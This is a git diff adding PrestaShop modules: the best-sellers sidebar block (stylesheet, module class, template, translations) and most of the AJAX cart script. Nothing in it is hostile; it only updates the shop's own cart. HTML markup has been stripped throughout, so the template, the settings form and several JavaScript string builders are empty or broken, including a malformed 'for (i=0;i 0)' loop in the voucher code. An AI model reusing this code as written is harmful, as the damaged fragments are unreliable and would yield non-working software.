    + diff --git a/modules/blockbestsellers/blockbestsellers.css b/modules/blockbestsellers/blockbestsellers.css new file mode 100755 index 0000000..db88db5 --- /dev/null +++ b/modules/blockbestsellers/blockbestsellers.css @@ -0,0 +1,55 @@ +/* Block best sellers */ +#best-sellers_block_right ul {margin-bottom:5px} +#best-sellers_block_right li { + float:none; + padding:10px 0; + border-bottom:1px dotted #ccc +} +#best-sellers_block_right li.last_item {border:none} +#best-sellers_block_right li a.content_img { + display:block; + float:left; + padding:1px; + height:47px; + width:67px; + text-decoration:none; + background:#333 +} +#best-sellers_block_right li span.number { + display:block; + float:left; + margin-top:6px; + width:20px; + font-weight:bold; + font-size:18px; + color:#fff; + text-align:center +} +#best-sellers_block_right li img { + border:1px solid #ededed; +} +#best-sellers_block_right li p { + float:left; + margin-left:7px; + padding:0; + width:125px; + font-weight:bold; + font-size:12px +} +#best-sellers_block_right li .price { + font-weight:bold; + font-size:14px; + color:#990000; + +} + +#best-sellers_block_right p.lnk { + padding:0; + text-align:right +} +#best-sellers_block_right .lnk .button_large { + padding:0; + border:none; + background:none +} +#best-sellers_block_right .lnk .button_large:hover {text-decoration:underline} \ No newline at end of file diff --git a/modules/blockbestsellers/blockbestsellers.php b/modules/blockbestsellers/blockbestsellers.php new file mode 100755 index 0000000..8f736e4 --- /dev/null +++ b/modules/blockbestsellers/blockbestsellers.php @@ -0,0 +1,149 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockBestSellers extends Module +{ + private $_html = ''; + private $_postErrors = array(); + + public function __construct() + { + $this->name = 'blockbestsellers'; + $this->tab = 'front_office_features'; + $this->version = '1.1'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Top-seller block'); + $this->description = $this->l('Add a block displaying your store\'s top-selling products.'); + } + + /** + * @see ModuleCore::install() + */ + public function install() + { + if (!parent::install() || + !$this->registerHook('rightColumn') || + !$this->registerHook('header') || + !$this->registerHook('updateOrderStatus') || + !ProductSale::fillProductSales()) + return false; + return true; + } + + /** + * Called in administration -> module -> configure + */ + public function getContent() + { + $output = '

    '.$this->displayName.'

    '; + if (Tools::isSubmit('submitBestSellers')) + { + Configuration::updateValue('PS_BLOCK_BESTSELLERS_DISPLAY', (int)Tools::getValue('always_display')); + $output .= '
    '.$this->l('Settings updated').'
    '; + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + return ' +
    +
    + '.$this->l('Settings').' + +
    + + + + +

    '.$this->l('Show the block even if no products are available.').'

    +
    +
    +
    +
    '; + } + + public function hookHeader($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return; + $this->context->controller->addCSS($this->_path.'blockbestsellers.css', 'all'); + } + + public function hookHome($params) + { + $best_sellers = $this->getBestSellers($params); + if ($best_sellers === false) + return; + + $this->smarty->assign(array( + 'best_sellers' => $best_sellers, + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')))); + return $this->display(__FILE__, 'blockbestsellers-home.tpl'); + } + + public function hookRightColumn($params) + { + $best_sellers = $this->getBestSellers($params); + if ($best_sellers === false) + return; + + $this->smarty->assign(array( + 'best_sellers' => $best_sellers, + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'smallSize' => Image::getSize(ImageType::getFormatedName('small')) + )); + return $this->display(__FILE__, 'blockbestsellers.tpl'); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + protected function getBestSellers($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return false; + + if (!($result = ProductSale::getBestSalesLight((int)($params['cookie']->id_lang), 0, 5))) + return (Configuration::get('PS_BLOCK_BESTSELLERS_DISPLAY') ? array() : false); + + $bestsellers = array(); + $currency = new Currency($params['cookie']->id_currency); + $usetax = (Product::getTaxCalculationMethod((int)$this->context->customer->id) != PS_TAX_EXC); + foreach ($result as &$row) + $row['price'] = Tools::displayPrice(Product::getPriceStatic((int)$row['id_product'], $usetax), $currency); + return $result; + } +} \ No newline at end of file diff --git a/modules/blockbestsellers/blockbestsellers.tpl b/modules/blockbestsellers/blockbestsellers.tpl new file mode 100755 index 0000000..c5f6409 --- /dev/null +++ b/modules/blockbestsellers/blockbestsellers.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
    +

    {l s='Top sellers' mod='blockbestsellers'}

    +
    + {if $best_sellers|@count > 0} + +

    » {l s='All best sellers' mod='blockbestsellers'}

    + {else} +

    {l s='No best sellers at this time' mod='blockbestsellers'}

    + {/if} +
    +
    + diff --git a/modules/blockbestsellers/img/index.php b/modules/blockbestsellers/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockbestsellers/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockbestsellers/img/logo.gif b/modules/blockbestsellers/img/logo.gif new file mode 100755 index 0000000..86b4e90 Binary files /dev/null and b/modules/blockbestsellers/img/logo.gif differ diff --git a/modules/blockbestsellers/index.php b/modules/blockbestsellers/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/blockbestsellers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockbestsellers/logo.gif b/modules/blockbestsellers/logo.gif new file mode 100755 index 0000000..86b4e90 Binary files /dev/null and b/modules/blockbestsellers/logo.gif differ diff --git a/modules/blockbestsellers/logo.png b/modules/blockbestsellers/logo.png new file mode 100755 index 0000000..92c13c9 Binary files /dev/null and b/modules/blockbestsellers/logo.png differ diff --git a/modules/blockbestsellers/translations/en.php b/modules/blockbestsellers/translations/en.php new file mode 100755 index 0000000..2a9099d --- /dev/null +++ b/modules/blockbestsellers/translations/en.php @@ -0,0 +1,6 @@ +blockbestsellers-home_f7be84d6809317a6eb0ff3823a936800'] = 'No best sellers'; diff --git a/modules/blockbestsellers/translations/fr.php b/modules/blockbestsellers/translations/fr.php new file mode 100755 index 0000000..0c96885 --- /dev/null +++ b/modules/blockbestsellers/translations/fr.php @@ -0,0 +1,23 @@ +blockbestsellers-home_3cb29f0ccc5fd220a97df89dafe46290'] = 'Meilleures ventes'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers-home_d3da97e2d9aee5c8fbe03156ad051c99'] = 'Plus d\'infos'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers-home_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers-home_eae99cd6a931f3553123420b16383812'] = 'Toutes les meilleures ventes'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers-home_adc570b472f54d65d3b90b8cee8368a9'] = 'Pas encore de meilleure vente'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers-home_f7be84d6809317a6eb0ff3823a936800'] = 'Pas encore de meilleure vente'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_ee520a08f4b3f527b11c4316aa399e84'] = 'Bloc meilleures ventes'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_4f6db60ed6f1c8555648014427822faf'] = 'Ajoute un bloc qui affiche les meilleures ventes de la boutique'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_41385d2dca40c2a2c7062ed7019a20be'] = 'Toujours afficher ce bloc'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_53d61d1ac0507b1bd8cd99db8d64fb19'] = 'Afficher ce bloc même si aucun produit disponible'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_3cb29f0ccc5fd220a97df89dafe46290'] = 'Meilleures ventes'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_eae99cd6a931f3553123420b16383812'] = 'Toutes les meilleures ventes'; +$_MODULE['<{blockbestsellers}prestashop>blockbestsellers_f7be84d6809317a6eb0ff3823a936800'] = 'Pas encore de meilleure vente'; diff --git a/modules/blockbestsellers/translations/index.php b/modules/blockbestsellers/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockbestsellers/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcart/ajax-cart.js b/modules/blockcart/ajax-cart.js new file mode 100755 index 0000000..c42dc72 --- /dev/null +++ b/modules/blockcart/ajax-cart.js @@ -0,0 +1,723 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// Retrocompatibility with 1.4 +if (typeof baseUri === "undefined" && typeof baseDir !== "undefined") + baseUri = baseDir; + +//JS Object : update the cart by ajax actions +var ajaxCart = { + nb_total_products: 0, + + //override every button in the page in relation to the cart + overrideButtonsInThePage : function(){ + //for every 'add' buttons... + $('.ajax_add_to_cart_button').unbind('click').click(function(){ + var idProduct = $(this).attr('rel').replace('nofollow', '').replace('ajax_id_product_', ''); + if ($(this).attr('disabled') != 'disabled') + ajaxCart.add(idProduct, null, false, this); + return false; + }); + //for product page 'add' button... + $('#add_to_cart input').unbind('click').click(function(){ + ajaxCart.add( $('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null); + return false; + }); + + //for 'delete' buttons in the cart block... + $('#cart_block_list .ajax_cart_block_remove_link').unbind('click').click(function(){ + // Customized product management + var customizationId = 0; + var productId = 0; + var productAttributeId = 0; + var customizableProductDiv = $($(this).parent().parent()).find("div[id^=deleteCustomizableProduct_]"); + + if (customizableProductDiv && $(customizableProductDiv).length) + { + $(customizableProductDiv).each(function(){ + var ids = $(this).attr('id').split('_'); + if (typeof(ids[1]) != 'undefined') + { + customizationId = parseInt(ids[1]); + productId = parseInt(ids[2]); + if (typeof(ids[3]) != 'undefined') + productAttributeId = parseInt(ids[3]); + return false; + } + }); + } + + // Common product management + if (!customizationId) + { + //retrieve idProduct and idCombination from the displayed product in the block cart + var firstCut = $(this).parent().parent().attr('id').replace('cart_block_product_', ''); + firstCut = firstCut.replace('deleteCustomizableProduct_', ''); + ids = firstCut.split('_'); + productId = parseInt(ids[0]); + if (typeof(ids[1]) != 'undefined') + productAttributeId = parseInt(ids[1]); + } + + var idAddressDelivery = $(this).parent().parent().attr('id').match(/.*_\d+_\d+_(\d+)/)[1]; + + // Removing product from the cart + ajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery); + return false; + }); + }, + + // try to expand the cart + expand : function(){ + if ($('#cart_block_list').hasClass('collapsed')) + { + $('#cart_block_summary').slideUp(200, function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_list').slideDown({ + duration: 450, + complete: function(){$(this).addClass('expanded').removeClass('collapsed');} + }); + }); + // toogle the button expand/collapse button + $('#block_cart_expand').fadeOut('slow', function(){ + $('#block_cart_collapse').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=expand' + }); + + + } + }, + // Fix display when using back and previous browsers buttons + refresh : function(){ + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&ajax=true&token=' + static_token, + success: function(jsonData) + { + ajaxCart.updateCart(jsonData); + } + }); + }, + + // try to collapse the cart + collapse : function(){ + + if ($('#cart_block_list').hasClass('expanded')) + { + $('#cart_block_list').slideUp('slow', function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_summary').slideDown(450, function(){ + $(this).addClass('expanded').removeClass('collapsed'); + }); + }); + $('#block_cart_collapse').fadeOut('slow', function(){ + $('#block_cart_expand').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime() + }); + } + }, + + // Update the cart information + updateCartInformation : function (jsonData, addedFromProductPage) + { + ajaxCart.updateCart(jsonData); + + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $('.ajax_add_to_cart_button').removeAttr('disabled'); + }, + + // add a product in the cart via ajax + add : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){ + if (addedFromProductPage && !checkCustomizations()) + { + alert(fieldRequired); + return ; + } + emptyCustomizations(); + //disabled the button when adding to not double add if user double click + if (addedFromProductPage) + { + $('#add_to_cart input').attr('disabled', true).removeClass('exclusive').addClass('exclusive_disabled'); + $('.filled').removeClass('filled'); + } + else + $(callerElement).attr('disabled', true); + + if ($('#cart_block_list').hasClass('collapsed')) + this.expand(); + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): ''), + success: function(jsonData,textStatus,jqXHR) + { + // add appliance to whishlist module + if (whishlist && !jsonData.errors) + WishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]); + + // add the picture to the cart + var $element = $(callerElement).parent().parent().find('a.product_image img,a.product_img_link img'); + if (!$element.length) + $element = $('#bigpic'); + var $picture = $element.clone(); + var pictureOffsetOriginal = $element.offset(); + + if ($picture.size()) + $picture.css({'position': 'absolute', 'top': pictureOffsetOriginal.top, 'left': pictureOffsetOriginal.left}); + + var pictureOffset = $picture.offset(); + if ($('#cart_block')[0] && $('#cart_block').offset().top && $('#cart_block').offset().left) + var cartBlockOffset = $('#cart_block').offset(); + else + var cartBlockOffset = $('#shopping_cart').offset(); + + // Check if the block cart is activated for the animation + if (cartBlockOffset != undefined && $picture.size()) + { + $picture.appendTo('body'); + $picture.css({ 'position': 'absolute', 'top': $picture.css('top'), 'left': $picture.css('left'), 'z-index': 4242 }) + .animate({ 'width': $element.attr('width')*0.66, 'height': $element.attr('height')*0.66, 'opacity': 0.2, 'top': cartBlockOffset.top + 30, 'left': cartBlockOffset.left + 15 }, 1000) + .fadeOut(100, function() { + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }); + } + else + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert("Impossible to add the product to the cart.\n\ntextStatus: '" + textStatus + "'\nerrorThrown: '" + errorThrown + "'\nresponseText:\n" + XMLHttpRequest.responseText); + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $(callerElement).removeAttr('disabled'); + } + }); + }, + + //remove a product from the cart via ajax + remove : function(idProduct, idCombination, customizationId, idAddressDelivery){ + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true', + success: function(jsonData) { + ajaxCart.updateCart(jsonData); + if ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc') + deleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery); + }, + error: function() {alert('ERROR: unable to delete the product');} + }); + }, + + //hide the products displayed in the page but no more in the json data + hideOldProducts : function(jsonData) { + //delete an eventually removed product of the displayed cart (only if cart is not empty!) + if ($('#cart_block_list dl.products').length > 0) + { + var removedProductId = null; + var removedProductData = null; + var removedProductDomId = null; + //look for a product to delete... + $('#cart_block_list dl.products dt').each(function(){ + //retrieve idProduct and idCombination from the displayed product in the block cart + var domIdProduct = $(this).attr('id'); + var firstCut = domIdProduct.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + //try to know if the current product is still in the new list + var stayInTheCart = false; + for (aProduct in jsonData.products) + { + //we've called the variable aProduct because IE6 bug if this variable is called product + //if product has attributes + if (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1])) + { + stayInTheCart = true; + // update the product customization display (when the product is still in the cart) + ajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct); + } + } + //remove product if it's no more in the cart + if (!stayInTheCart) + { + removedProductId = $(this).attr('id'); + if (removedProductId != null) + { + var firstCut = removedProductId.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + $('#'+removedProductId).addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow', function(){ + $(this).remove(); + // If the cart is now empty, show the 'no product in the cart' message and close detail + if($('#cart_block dl.products dt').length == 0) + { + $("#header #cart_block").stop(true, true).slideUp(200); + $('#cart_block_no_products:hidden').slideDown(450); + $('#cart_block dl.products').remove(); + } + }); + }); + $('#cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '')).fadeTo('fast', 0, function(){ + $(this).slideUp('fast', function(){ + $(this).remove(); + }); + }); + } + } + }); + } + }, + + hideOldProductCustomizations : function (product, domIdProduct) + { + var customizationList = $('#customization_' + product['id'] + '_' + product['idCombination']); + if(customizationList.length > 0) + { + $(customizationList).find("li").each(function(){ + $(this).find("div").each(function() { + var customizationDiv = $(this).attr('id'); + var tmp = customizationDiv.replace('deleteCustomizableProduct_', ''); + var ids = tmp.split('_'); + if ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0])) + $('#' + customizationDiv).parent().addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow'); + $(this).remove(); + }); + }); + }); + } + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (!product.hasCustomizedDatas && !removeLinks.length) + $('#' + domIdProduct + ' span.remove_link').html(' '); + if (product.is_gift) + $('#' + domIdProduct + ' span.remove_link').html(''); + }, + + doesCustomizationStillExist : function (product, customizationId) + { + var exists = false; + + $(product.customizedDatas).each(function() { + if (this.customizationId == customizationId) + { + exists = true; + // This return does not mean that we found nothing but simply break the loop + return false; + } + }); + return (exists); + }, + + //refresh display of vouchers (needed for vouchers in % of the total) + refreshVouchers : function (jsonData) { + if (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0) + $('#vouchers').hide(); + else + { + $('#vouchers tbody').html(''); + + for (i=0;i 0) + { + var delete_link = ''; + if (jsonData.discounts[i].code.length) + delete_link = ''+delete_txt+''; + $('#vouchers tbody').append($( + '' + +' 1x' + +' '+jsonData.discounts[i].name+'' + +' -'+jsonData.discounts[i].price+'' + +' ' + delete_link + '' + +'' + )); + } + } + + $('#vouchers').show(); + } + + }, + + // Update product quantity + updateProductQuantity : function (product, quantity) { + + $('#cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + ' .quantity').fadeTo('fast', 0, function() { + $(this).text(quantity); + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1); + }); + }); + }); + }); + }); + }, + + + //display the products witch are in json data but not already displayed + displayNewProducts : function(jsonData) { + + //add every new products or update displaying of every updated products + $(jsonData.products).each(function(){ + //fix ie6 bug (one more item 'undefined' in IE6) + if (this.id != undefined) + { + //create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty) + + if ($('#cart_block dl.products').length == 0) + { + $('#cart_block_no_products').before('
    '); + $('#cart_block_no_products').hide(); + } + //if product is not in the displayed cart, add a new product's line + var domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0'); + var domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0'); + if ($('#cart_block_product_'+ domIdProduct).length == 0) + { + var productId = parseInt(this.id); + var productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0); + var content = ''; + if (this.hasAttributes) + content += ''; + + $('#cart_block dl.products').append(content); + } + //else update the product's line + else + { + var jsonProduct = this; + if($.trim($('#cart_block_product_' + domIdProduct + ' .quantity').html()) != jsonProduct.quantity || $.trim($('#cart_block_product_' + domIdProduct + ' .price').html()) != jsonProduct.priceByLine) + { + // Usual product + if (!this.is_gift) + $('#cart_block_product_' + domIdProduct + ' .price').text(jsonProduct.priceByLine); + else + $('#cart_block_product_' + domIdProduct + ' .price').html(freeProductTranslation); + ajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity); + + // Customized product + if (jsonProduct.hasCustomizedDatas) + { + customizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct); + if (!$('#customization_' + domIdProductAttribute).length) + { + if (jsonProduct.hasAttributes) + $('#cart_block_combination_of_' + domIdProduct).append(customizationFormatedDatas); + else + $('#cart_block dl.products').append(customizationFormatedDatas); + } + else + { + $('#customization_' + domIdProductAttribute).html(''); + $('#customization_' + domIdProductAttribute).append(customizationFormatedDatas); + } + } + } + } + $('#cart_block dl.products .hidden').slideDown(450).removeClass('hidden'); + + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (this.hasCustomizedDatas && removeLinks.length) + $(removeLinks).each(function() { + $(this).remove(); + }); + } + }); + }, + + displayNewCustomizedDatas : function(product) + { + var content = ''; + var productId = parseInt(product.id); + var productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination); + var hasAlreadyCustomizations = $('#customization_' + productId + '_' + productAttributeId).length; + + if (!hasAlreadyCustomizations) + { + if (!product.hasAttributes) + content += ''; + } + return (content); + }, + + + //genarally update the display of the cart + updateCart : function(jsonData) { + //user errors display + if (jsonData.hasError) + { + var errors = ''; + for(error in jsonData.errors) + //IE6 bug fix + if(error != 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + ajaxCart.updateCartEverywhere(jsonData); + ajaxCart.hideOldProducts(jsonData); + ajaxCart.displayNewProducts(jsonData); + ajaxCart.refreshVouchers(jsonData); + + //update 'first' and 'last' item classes + $('#cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item'); + $('#cart_block .products dt:first').addClass('first_item'); + $('#cart_block .products dt:not(:first,:last)').addClass('item'); + $('#cart_block .products dt:last').addClass('last_item'); + + //reset the onlick events in relation to the cart block (it allow to bind the onclick event to the new 'delete' buttons added) + ajaxCart.overrideButtonsInThePage(); + } + }, + + //update general cart informations everywhere in the page + updateCartEverywhere : function(jsonData) { + $('.ajax_cart_total').text($.trim(jsonData.productTotal)); + + if (parseFloat(jsonData.shippingCostFloat) > 0 || jsonData.nbTotalProducts < 1) + $('.ajax_cart_shipping_cost').text(jsonData.shippingCost); + else if (typeof(freeShippingTranslation) != 'undefined') + $('.ajax_cart_shipping_cost').html(freeShippingTranslation); + $('.ajax_cart_tax_cost').text(jsonData.taxCost); + $('.cart_block_wrapping_cost').text(jsonData.wrappingCost); + $('.ajax_block_cart_total').text(jsonData.total); + + this.nb_total_products = jsonData.nbTotalProducts; + + if (parseInt(jsonData.nbTotalProducts) > 0) + { + $('.ajax_cart_no_product').hide(); + $('.ajax_cart_quantity').text(jsonData.nbTotalProducts); + $('.ajax_cart_quantity').fadeIn('slow'); + $('.ajax_cart_total').fadeIn('slow'); + + if (parseInt(jsonData.nbTotalProducts) > 1) + { + $('.ajax_cart_product_txt').each( function () { + $(this).hide(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).show(); + }); + } + else + { + $('.ajax_cart_product_txt').each( function () { + $(this).show(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).hide(); + }); + } + } + else + { + $('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){ + $(this).hide(); + }); + $('.ajax_cart_no_product').show('slow'); + } + } +}; + +function HoverWatcher(selector){ + this.hovering = false; + var self = this; + + this.isHoveringOver = function() { + return self.hovering; + } + + $(selector).hover(function() { + self.hovering = true; + }, function() { + self.hovering = false; + }) +} + +//when document is loaded... +$(document).ready(function(){ + // expand/collapse management + $('#block_cart_collapse').click(function(){ + ajaxCart.collapse(); + }); + $('#block_cart_expand').click(function(){ + ajaxCart.expand(); + }); + ajaxCart.overrideButtonsInThePage(); + ajaxCart.refresh(); + + /* roll over cart */ + var cart_block = new HoverWatcher('#cart_block'); + var shopping_cart = new HoverWatcher('#shopping_cart'); + + $("#shopping_cart a:first").hover( + function() { + $(this).css('border-radius', '3px 3px 0px 0px'); + if (ajaxCart.nb_total_products > 0) + $("#cart_block").stop(true, true).slideDown(450); + }, + function() { + $('#header #shopping_cart a').css('border-radius', '3px'); + setTimeout(function() { + if (!shopping_cart.isHoveringOver() && !cart_block.isHoveringOver()) + $("#header #cart_block").stop(true, true).slideUp(450); + }, 200); + } + ); + + $("#cart_block").hover( + function() { + $('#shopping_cart a').css('border-radius', '3px 3px 0px 0px'); + }, + function() { + $('#shopping_cart a').css('border-radius', '3px'); + setTimeout(function() { + if (!shopping_cart.isHoveringOver()) + $("#header #cart_block").stop(true, true).slideUp(450); + }, 200); + } + ); + + $('.delete_voucher').live('click', function() { + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + async: true, + cache: false, + url:$(this).attr('href') + '?rand=' + new Date().getTime() + }); + $(this).parent().parent().remove(); + if ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc') + { + if (typeof(updateAddressSelection) != 'undefined') + updateAddressSelection(); + else + location.reload(); + } + return false; + }); +}); diff --git a/modules/blockcart/blockcart-ajax.php b/modules/blockcart/blockcart-ajax.php new file mode 100755 index 0000000..0bc500d --- /dev/null +++ 